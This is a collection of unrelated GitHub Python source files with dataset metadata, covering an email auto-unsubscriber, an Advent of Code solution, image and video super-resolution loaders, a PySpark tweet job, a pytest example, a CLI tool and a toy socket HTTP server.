\"\"\"\r\n Main function to execute the app.\r\n\r\n :param imap_server: IMAP server address\r\n :param email_address: User's email address\r\n :param password: User's password\r\n \"\"\"\r\n emails = connect_to_email(imap_server, email_address, password)\r\n\r\n for email_msg in emails:\r\n result = analyze_email(email_msg)\r\n\r\n if result[\"is_unwanted\"]:\r\n if True: # interact_with_user(email_msg):\r\n url = get_unsubscribe_url(email_msg)\r\n if url is not None:\r\n try:\r\n unsubscribe_from_email(url)\r\n except Exception as e:\r\n print(f\"Error while unsubscribing: {e}\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n config = load_config()\r\n logger.info(f\"Loaded config: {config}\")\r\n\r\n main(config.imap_server, config.email_address, config.password)\r\n", "repo_name": "maccam912/email-unsubscriber", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7746, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 31, "usage_type": "attribute"}, {"api_name": "langchain.tools.playwright.utils.create_sync_playwright_browser", "line_number": 33, "usage_type": "call"}, {"api_name": "langchain.agents.agent_toolkits.PlayWrightBrowserToolkit.from_browser", "line_number": 34, "usage_type": "call"}, {"api_name": "langchain.agents.agent_toolkits.PlayWrightBrowserToolkit", "line_number": 34, "usage_type": "name"}, {"api_name": "langchain.chat_models.ChatOpenAI", "line_number": 37, "usage_type": "call"}, {"api_name": "langchain.agents.initialize_agent", "line_number": 39, "usage_type": "call"}, {"api_name": "langchain.agents.AgentType.STRUCTURED_CHAT_ZERO_SHOT_REACT_DESCRIPTION", "line_number": 42, "usage_type": "attribute"}, {"api_name": "langchain.agents.AgentType", "line_number": 42, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 47, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 57, "usage_type": "name"}, {"api_name": "toml.load", "line_number": 76, "usage_type": "call"}, {"api_name": "email.message", "line_number": 80, "usage_type": "attribute"}, {"api_name": "email.header.decode_header", "line_number": 110, "usage_type": "call"}, {"api_name": "imaplib.IMAP4_SSL", "line_number": 130, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 136, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 137, "usage_type": "call"}, {"api_name": "email.message_from_bytes", "line_number": 141, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 120, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 156, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 156, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 175, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 168, "usage_type": "name"}]} {"seq_id": "17875616818", "text": "import os\nfrom collections import namedtuple\n\nimport numpy as np\n\nfrom myutils.myutils import read_input\n\nVent = namedtuple(\"Vent\", [\"x1\", \"y1\", \"x2\", \"y2\"])\n\n\ndef main():\n vents, max_x, max_y = parse_input(\"input1.txt\")\n print(\"Part 1: \", part1(vents, max_x, max_y))\n print(\"Part 2: \", part2(vents, max_x, max_y))\n\n\ndef parse_input(filename):\n current_path = os.path.dirname(os.path.abspath(__file__))\n infile = os.path.join(current_path, __file__[-9:-3], filename)\n lines = read_input(infile, __file__)\n\n vents = list()\n max_x = 0\n max_y = 0\n for line in lines:\n x1, y1 = line.split(\" -> \")[0].split(\",\")\n x2, y2 = line.split(\" -> \")[1].split(\",\")\n x1, y1, x2, y2 = int(x1), int(y1), int(x2), int(y2)\n vents.append(Vent(x1, y1, x2, y2))\n max_x = max(max_x, x1, x2)\n max_y = max(max_y, y1, y2)\n\n return vents, max_x, max_y\n\n\ndef part1(vents, max_x, max_y):\n floor = np.zeros((max_x + 1, max_y + 1))\n for v in vents:\n if v.x1 == v.x2:\n miny = min(v.y1, v.y2)\n maxy = max(v.y1, v.y2)\n floor[miny : maxy + 1, v.x1] += 1\n continue\n elif v.y1 == v.y2 and v.x1 != v.x2:\n minx = min(v.x1, v.x2)\n maxx = max(v.x1, v.x2)\n floor[v.y1, minx : maxx + 1] += 1\n continue\n result = len(np.where(floor > 1)[0])\n return result\n\n\ndef part2(vents, max_x, max_y):\n floor = np.zeros((max_x + 1, max_y + 1))\n for v in vents:\n miny = min(v.y1, v.y2)\n maxy = max(v.y1, v.y2)\n minx = min(v.x1, v.x2)\n maxx = max(v.x1, v.x2)\n deltax = maxx - minx\n deltay = maxy - miny\n\n if v.x1 == v.x2:\n floor[miny : maxy + 1, v.x1] += 1\n continue\n elif v.y1 == v.y2 and v.x1 != v.x2:\n floor[v.y1, minx : maxx + 1] += 1\n continue\n elif v.x2 > v.x1:\n if v.y2 > v.y1:\n for dx in range(deltax + 1):\n for dy in range(deltay + 1):\n if dx == dy:\n floor[v.y1 + dy, v.x1 + dx] += 1\n else:\n for dx in range(deltax + 1):\n for dy in range(deltay + 1):\n if dx == dy:\n floor[v.y1 - dy, v.x1 + dx] += 1\n elif v.x2 < v.x1:\n if v.y2 > v.y1:\n for dx in range(deltax + 1):\n for dy in range(deltay + 1):\n if dx == dy:\n floor[v.y1 + dy, v.x1 - dx] += 1\n else:\n for dx in range(deltax + 1):\n for dy in range(deltay + 1):\n if dx == dy:\n floor[v.y1 - dy, v.x1 - dx] += 1\n\n result = len(np.where(floor > 1)[0])\n return result\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "jccabrejas/aoc_2021", "sub_path": "day_05.py", "file_name": "day_05.py", "file_ext": "py", "file_size_in_byte": 2897, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.namedtuple", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "myutils.myutils.read_input", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 92, "usage_type": "call"}]} {"seq_id": "30347737162", "text": "import cv2\n\nimg = cv2.imread(\"./flower.jpg\")\nprint(img.shape)\nimg_dtype = img.dtype\nprint(img_dtype)\n\n(b, g, r) = img[6, 40]\nprint(b, g, r)\n\nb = img[6, 40, 0]\ng = img[6, 40, 1]\nr = img[6, 40, 2]\nprint(b, g, r)\n\ncv2.imshow(\"raw\", img)\nimg[6, 40] = (0, 0, 255)\ncv2.imshow(\"change\", img)\ncv2.waitKey(0)\n", "repo_name": "Incipe-win/C-CPP", "sub_path": "linux_c/opencv_code/py/opencv4/01_opencv.py", "file_name": "01_opencv.py", "file_ext": "py", "file_size_in_byte": 300, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.imread", "line_number": 3, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 19, "usage_type": "call"}]} {"seq_id": "72864028702", "text": "import os\nimport random\nfrom PIL import Image\nimport numpy as np\n\nimport torch\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\n\nimport common.modes\nimport datasets._isr\n\n\ndef update_argparser(parser):\n datasets._isr.update_argparser(parser)\n parser.add_argument(\n '--train_temporal_size',\n help='Number of frames for training',\n default=5,\n type=int)\n parser.add_argument(\n '--eval_temporal_size',\n help='Number of frames for evaluation',\n default=5,\n type=int)\n parser.add_argument(\n '--train_temporal_padding_size',\n help='Number of frames for training',\n default=3,\n type=int)\n parser.add_argument(\n '--eval_temporal_padding_size',\n help='Number of frames for evaluation',\n default=3,\n type=int)\n parser.set_defaults(\n train_batch_size=16,\n eval_batch_size=1,\n )\n\n\nclass _SingleVideoSuperResolutionDataset(data.Dataset):\n\n def __init__(self, mode, params, video_name, lr_files, hr_files):\n super(_SingleVideoSuperResolutionDataset, self).__init__()\n self.mode = mode\n self.params = params\n self.video_name = video_name\n self.lr_files = lr_files\n self.hr_files = hr_files\n self.temporal_size = {\n common.modes.TRAIN: params.train_temporal_size,\n common.modes.EVAL: params.eval_temporal_size,\n common.modes.PREDICT: params.eval_temporal_size,\n }[mode]\n self.temporal_padding_size = {\n common.modes.TRAIN: params.train_temporal_padding_size,\n common.modes.EVAL: params.eval_temporal_padding_size,\n common.modes.PREDICT: params.eval_temporal_padding_size,\n }[mode]\n\n def __getitem__(self, index):\n t = index * self.temporal_size\n lr_files = [\n self.lr_files[min(len(self.lr_files) - 1, max(0, i))]\n for i in range(t - self.temporal_padding_size, t + self.temporal_size +\n self.temporal_padding_size)\n ]\n hr_files = [self.hr_files[i] for i in range(t, t + self.temporal_size)]\n if self.mode == common.modes.PREDICT:\n lr_images = [\n transforms.functional.to_tensor(np.asarray(Image.open(lr_file[1])))\n for lr_file in lr_files\n ]\n lr_images = torch.stack(lr_images, dim=1)\n hr_files = [hr_file[0] for hr_file in hr_files]\n return lr_images, hr_files\n\n lr_images, hr_images = self._load_item(lr_files, hr_files)\n lr_images, hr_images = self._sample_patch(lr_images, hr_images)\n lr_images, hr_images = self._augment(lr_images, hr_images)\n\n lr_images = [np.ascontiguousarray(lr_image) for lr_image in lr_images]\n hr_images = [np.ascontiguousarray(hr_image) for hr_image in hr_images]\n lr_images = [\n transforms.functional.to_tensor(lr_image) for lr_image in lr_images\n ]\n hr_images = [\n transforms.functional.to_tensor(hr_image) for hr_image in hr_images\n ]\n lr_images = torch.stack(lr_images, dim=1)\n hr_images = torch.stack(hr_images, dim=1)\n\n return lr_images, hr_images\n\n def _load_item(self, lr_files, hr_files):\n lr_images = [np.asarray(Image.open(lr_file[1])) for lr_file in lr_files]\n hr_images = [np.asarray(Image.open(hr_file[1])) for hr_file in hr_files]\n return lr_images, hr_images\n\n def _sample_patch(self, lr_images, hr_images):\n if self.mode == common.modes.TRAIN:\n # sample patch while training\n x = random.randrange(\n self.params.ignored_boundary_size, lr_images[0].shape[0] -\n self.params.lr_patch_size + 1 - self.params.ignored_boundary_size)\n y = random.randrange(\n self.params.ignored_boundary_size, lr_images[0].shape[1] -\n self.params.lr_patch_size + 1 - self.params.ignored_boundary_size)\n lr_images = [\n lr_image[x:x + self.params.lr_patch_size, y:y +\n self.params.lr_patch_size] for lr_image in lr_images\n ]\n hr_images = [\n hr_image[x * self.params.scale:(x + self.params.lr_patch_size) *\n self.params.scale, y *\n self.params.scale:(y + self.params.lr_patch_size) *\n self.params.scale] for hr_image in hr_images\n ]\n return lr_images, hr_images\n\n def _augment(self, lr_images, hr_images):\n if self.mode == common.modes.TRAIN:\n # augmentation while training\n if random.random() < 0.5:\n lr_images = [lr_image[::-1] for lr_image in lr_images]\n hr_images = [hr_image[::-1] for hr_image in hr_images]\n if random.random() < 0.5:\n lr_images = [lr_image[:, ::-1] for lr_image in lr_images]\n hr_images = [hr_image[:, ::-1] for hr_image in hr_images]\n if random.random() < 0.5:\n lr_images = [np.swapaxes(lr_image, 0, 1) for lr_image in lr_images]\n hr_images = [np.swapaxes(hr_image, 0, 1) for hr_image in hr_images]\n if random.random() < 0.5:\n lr_images = reversed(lr_images)\n hr_images = reversed(hr_images)\n return lr_images, hr_images\n\n def __len__(self):\n if len(self.hr_files) % self.temporal_size:\n raise NotImplementedError\n return len(self.hr_files) // self.temporal_size\n\n\nclass VideoSuperResolutionDataset(data.ConcatDataset):\n\n def __init__(self, mode, params, lr_files, hr_files):\n video_datasets = []\n for (v, l), (_, h) in zip(lr_files, hr_files):\n video_datasets.append(\n _SingleVideoSuperResolutionDataset(mode, params, v, l, h))\n if mode == common.modes.TRAIN:\n video_datasets = video_datasets * params.num_patches\n super(VideoSuperResolutionDataset, self).__init__(video_datasets)\n\n\nclass _SingleVideoSuperResolutionHDF5Dataset(_SingleVideoSuperResolutionDataset\n ):\n\n def __init__(\n self,\n mode,\n params,\n video_name,\n lr_files,\n hr_files,\n lr_cache_file,\n hr_cache_file,\n lib_hdf5='h5py',\n init_hdf5=False,\n ):\n super(_SingleVideoSuperResolutionHDF5Dataset, self).__init__(\n mode,\n params,\n video_name,\n lr_files,\n hr_files,\n )\n self.lr_cache_file = common.io.Hdf5(lr_cache_file, lib_hdf5)\n self.hr_cache_file = common.io.Hdf5(hr_cache_file, lib_hdf5)\n\n if init_hdf5:\n cache_dir = os.path.dirname(lr_cache_file)\n if not os.path.exists(cache_dir):\n os.makedirs(cache_dir)\n\n for lr_file in self.lr_files:\n self.lr_cache_file.add(lr_file[0], np.asarray(Image.open(lr_file[1])))\n if self.mode != common.modes.PREDICT:\n for hr_file in self.hr_files:\n self.hr_cache_file.add(hr_file[0], np.asarray(Image.open(hr_file[1])))\n\n def _load_item(self, lr_files, hr_files):\n lr_images = [self.lr_cache_file.get(lr_file[0]) for lr_file in lr_files]\n hr_images = [self.hr_cache_file.get(hr_file[0]) for hr_file in hr_files]\n return lr_images, hr_images\n\n\nclass VideoSuperResolutionHDF5Dataset(data.ConcatDataset):\n\n def __init__(\n self,\n mode,\n params,\n lr_files,\n hr_files,\n lr_cache_file,\n hr_cache_file,\n lib_hdf5='h5py',\n ):\n video_datasets = []\n init_hdf5 = not os.path.exists(lr_cache_file)\n for (v, l), (_, h) in zip(lr_files, hr_files):\n video_datasets.append(\n _SingleVideoSuperResolutionHDF5Dataset(\n mode,\n params,\n v,\n l,\n h,\n lr_cache_file,\n hr_cache_file,\n lib_hdf5=lib_hdf5,\n init_hdf5=init_hdf5))\n if mode == common.modes.TRAIN:\n video_datasets = video_datasets * params.num_patches\n super(VideoSuperResolutionHDF5Dataset, self).__init__(video_datasets)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/others/wdsr/datasets/_vsr.py", "file_name": "_vsr.py", "file_ext": "py", "file_size_in_byte": 7635, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datasets._isr._isr.update_argparser", "line_number": 15, "usage_type": "call"}, {"api_name": "datasets._isr._isr", "line_number": 15, "usage_type": "attribute"}, {"api_name": "datasets._isr", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.utils.data.Dataset", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 42, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 52, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 52, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 53, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 53, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 54, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 54, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 57, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 57, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 58, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 58, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 59, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 59, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 70, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 70, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.to_tensor", "line_number": 72, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torchvision.transforms", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 72, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 72, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.ascontiguousarray", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.ascontiguousarray", "line_number": 84, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional.to_tensor", "line_number": 86, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torchvision.transforms", "line_number": 86, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.to_tensor", "line_number": 89, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 89, "usage_type": "attribute"}, {"api_name": "torchvision.transforms", "line_number": 89, "usage_type": "name"}, {"api_name": "torch.stack", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 97, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 97, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 97, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 98, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 98, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 98, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 102, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 102, "usage_type": "name"}, {"api_name": "random.randrange", "line_number": 104, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 107, "usage_type": "call"}, {"api_name": "common.modes.modes", "line_number": 123, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 123, "usage_type": "name"}, {"api_name": "random.random", "line_number": 125, "usage_type": "call"}, {"api_name": "random.random", "line_number": 128, "usage_type": "call"}, {"api_name": "random.random", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 133, "usage_type": "call"}, {"api_name": "random.random", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.utils.data.ConcatDataset", "line_number": 145, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 145, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 152, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 152, "usage_type": "name"}, {"api_name": "common.modes.io.Hdf5", "line_number": 179, "usage_type": "call"}, {"api_name": "common.modes.io", "line_number": 179, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 179, "usage_type": "name"}, {"api_name": "common.modes.io.Hdf5", "line_number": 180, "usage_type": "call"}, {"api_name": "common.modes.io", "line_number": 180, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 180, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path", "line_number": 183, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 188, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 188, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 188, "usage_type": "name"}, {"api_name": "common.modes.modes", "line_number": 189, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 189, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 191, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 191, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 191, "usage_type": "name"}, {"api_name": "torch.utils.data.ConcatDataset", "line_number": 199, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 199, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "common.modes.modes", "line_number": 225, "usage_type": "attribute"}, {"api_name": "common.modes", "line_number": 225, "usage_type": "name"}]} {"seq_id": "33617542451", "text": "from pyspark.sql import SparkSession\nfrom pyspark.sql.functions import col, countDistinct, to_date, when, sum, date_format\n\nif(__name__ == \"__main__\"):\n spark = SparkSession.builder\\\n .appName(\"twitter_insight\").getOrCreate()\n\n tweet = spark.read.json(\n \"/home/rodrigo.busto/Desktop/curso/data_lake/\"\n \"silver/twitter_aluraonline/tweets\"\n )\n\n # alura_id = tweet.where(\"username='AluraOnline'\").select(\"author_id\").show(1)\n\n alura = tweet.where(\"author_id = '1566580880'\")\\\n .select(\"author_id\", \"conversation_id\")\n\n tweet = tweet.alias(\"tweet\")\\\n .join(\n alura.alias(\"alura\"),\n [\n tweet.conversation_id == alura.conversation_id,\n tweet.author_id != alura.author_id\n ],\n \"left\"\n )\\\n .withColumn(\n \"alura_conversation\",\n when(col(\"alura.conversation_id\").isNotNull(), 1).otherwise(0)\n )\\\n .withColumn(\n \"reply_alura\",\n when(col(\"in_reply_to_user_id\") == '1566580880', 1).otherwise(0)\n ).groupBy(to_date(\"created_at\").alias(\"created_date\"))\\\n .agg(\n countDistinct(\"id\").alias(\"n_tweets\"),\n countDistinct(\"tweet.conversation_id\").alias(\"n_conversations\"),\n sum(\"alura_conversation\").alias(\"alura_conversation\"),\n sum(\"reply_alura\").alias(\"reply_alura\")\n )\\\n .withColumn(\n \"weekday\",\n date_format(\"created_date\", \"E\")\n )\n \n tweet.coalesce(1)\\\n .write.json(\"/home/rodrigo.busto/Desktop/curso/data_lake/gold/twitter_insight\")", "repo_name": "Rodrigo-Busto/airflow-pipeline-twitter", "sub_path": "spark/insight_tweet.py", "file_name": "insight_tweet.py", "file_ext": "py", "file_size_in_byte": 1643, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 5, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 5, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.when", "line_number": 29, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 29, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.when", "line_number": 33, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 33, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.to_date", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.countDistinct", "line_number": 36, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.countDistinct", "line_number": 37, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.sum", "line_number": 39, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.date_format", "line_number": 43, "usage_type": "call"}]} {"seq_id": "4988270574", "text": "\"\"\"Mocking input with monkeypatch\"\"\"\r\n\r\nimport pytest\r\n\r\n\r\ndef mock_in():\r\n # Takes two inputs and divides them. Does not return a value.\r\n x = input(\"query 1\")\r\n y = input(\"query 2\")\r\n z = x / y\r\n\r\n@pytest.mark.parametrize(\"input, expected\", [\r\n ([3], StopIteration), # Not enough values for input\r\n ([1, 0], ZeroDivisionError), # Values that result in zero division\r\n (['a', 'b'], TypeError) # Values are incorrect type\r\n ])\r\ndef test_mock_in(monkeypatch, input, expected):\r\n # Make a generator from a list of values provided by parametrize\r\n mark_gen = (i for i in input)\r\n\r\n # Gets next item in generator for each time input() is required\r\n monkeypatch.setattr('builtins.input', lambda x: next(mark_gen))\r\n\r\n with pytest.raises(expected):\r\n mock_in()\r\n", "repo_name": "reilly-cuauhtemoc-8178/Monkeypatch-for-multiple-inputs", "sub_path": "test_mock_input.py", "file_name": "test_mock_input.py", "file_ext": "py", "file_size_in_byte": 823, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pytest.raises", "line_number": 24, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}]} {"seq_id": "11190444868", "text": "\"\"\"Business set commands.\"\"\"\nimport datetime\nimport typer\nfrom toolbox.common.work import get_month_working_hours, get_month_working_days\nfrom toolbox.common.output import show_message\nfrom toolbox.sets.business import __version__ as business_package_version\n\napp = typer.Typer(short_help=\"Business CLI Tool\")\n\n\ndef version_callback(value: bool):\n \"\"\"Version callback.\"\"\"\n if value:\n show_message(f\"Business CLI Version: {business_package_version.__version__}\")\n raise typer.Exit()\n\n\n@app.command()\ndef working_hours(\n is_month: bool = typer.Option(False, '--this-month',\n help=\"Get current month working hours.\", is_flag=True)):\n \"\"\"Get working hours based of a date period.\"\"\"\n year = datetime.datetime.now().year\n if is_month:\n month = datetime.datetime.now().month\n month_working_hours = get_month_working_hours(month, year)\n show_message(f\"Current month working hours: {month_working_hours}\")\n\n\n@app.command()\ndef working_days(\n is_month: bool = typer.Option(False, '--this-month',\n help=\"Get current month working days.\", is_flag=True)):\n \"\"\"Get working days based of a date period.\"\"\"\n year = datetime.datetime.now().year\n if is_month:\n month = datetime.datetime.now().month\n month_working_days = get_month_working_days(month, year)\n show_message(f\"Current month working days: {month_working_days}\")\n\n\n@app.callback()\ndef version(ver: bool = typer.Option(None, \"--version\",\n callback=version_callback, help=\"Get command version.\",\n is_eager=True)):\n \"\"\"Version Output.\"\"\"\n return ver\n", "repo_name": "mihaichris/atelier-toolbox", "sub_path": "src/toolbox/sets/business/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 1721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typer.Typer", "line_number": 8, "usage_type": "call"}, {"api_name": "toolbox.common.output.show_message", "line_number": 14, "usage_type": "call"}, {"api_name": "toolbox.sets.business.__version__.__version__", "line_number": 14, "usage_type": "attribute"}, {"api_name": "toolbox.sets.business.__version__", "line_number": 14, "usage_type": "name"}, {"api_name": "typer.Exit", "line_number": 15, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "attribute"}, {"api_name": "toolbox.common.work.get_month_working_hours", "line_number": 26, "usage_type": "call"}, {"api_name": "toolbox.common.output.show_message", "line_number": 27, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 37, "usage_type": "attribute"}, {"api_name": "toolbox.common.work.get_month_working_days", "line_number": 38, "usage_type": "call"}, {"api_name": "toolbox.common.output.show_message", "line_number": 39, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 43, "usage_type": "call"}]} {"seq_id": "2601040926", "text": "import os\nimport socket\nfrom datetime import date\nimport json\n\n# Constants\nPORT = 8080\nSERVER = socket.gethostbyname(socket.gethostname())\nADDRESS = (SERVER, PORT)\nFORMAT = 'utf-8'\nSOCKET_FAMILY = socket.AF_INET\nSOCKET_PROTOCOL = socket.SOCK_STREAM\n\n\nclass Server:\n def __init__(self, socket_family, socket_protocol, address):\n self.server = socket.socket(socket_family, socket_protocol)\n self.server.bind(address)\n self.html_pages = self.get_html_pages()\n self.status_messages = {\n 200: 'OK',\n 400: 'Invalid Request',\n 404: 'Page Not Found'\n }\n\n @staticmethod\n def get_html_pages():\n html_pages = ['/']\n for file in os.listdir('.'):\n html_pages.append('/' + os.path.splitext(file)[0])\n return html_pages\n\n def http_response(self, status_code, page=None):\n data = None\n if page:\n if page == '/':\n page = '/index'\n\n if page[0] == '/':\n page = page[1:]\n\n with open(f'{page}.html', 'r') as f:\n data = f.read()\n\n response = {\n 'header': {\n 'response-line': f'HTTP/1.1 {status_code} {self.status_messages[status_code]}',\n 'Date': str(date.today()),\n 'connection': 'close',\n 'server': 'Windows/10',\n 'content-type': 'text/html',\n 'content-length': len(data) if data else None\n },\n 'body': data\n }\n\n return response\n\n def handle_client(self, connection, address):\n request = connection.recv(2048).decode(FORMAT)\n print(f'[REQUEST] ({address})')\n\n request = json.loads(request)\n print(json.dumps(request, indent=4))\n\n if request['header']['host'] != SERVER:\n response = self.http_response(status_code=400)\n else:\n request_line = request['header']['request-line']\n request_type, web_page, protocol_version = request_line.split()\n\n if request_type == 'GET':\n if web_page in self.html_pages:\n # Return web page\n response = self.http_response(page=web_page, status_code=200)\n else:\n # Return Page Not Found\n response = self.http_response(status_code=404)\n else:\n # Return Invalid Response Type\n response = self.http_response(status_code=400)\n\n response = json.dumps(response, indent=4)\n connection.send(response.encode(FORMAT))\n connection.close()\n\n def start(self):\n print(f'[STARTING] server is starting...')\n\n self.server.listen()\n print(f'[LISTENING] server is listening on {SERVER}...')\n\n while True:\n connection, address = self.server.accept()\n self.handle_client(connection, address)\n\n\ndef main():\n server = Server(SOCKET_FAMILY, SOCKET_PROTOCOL, ADDRESS)\n server.start()\n\n\nmain()\n", "repo_name": "AnirudhAchal/Computer-Networks-Lab", "sub_path": "Week 2/Q1/Server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 3040, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, 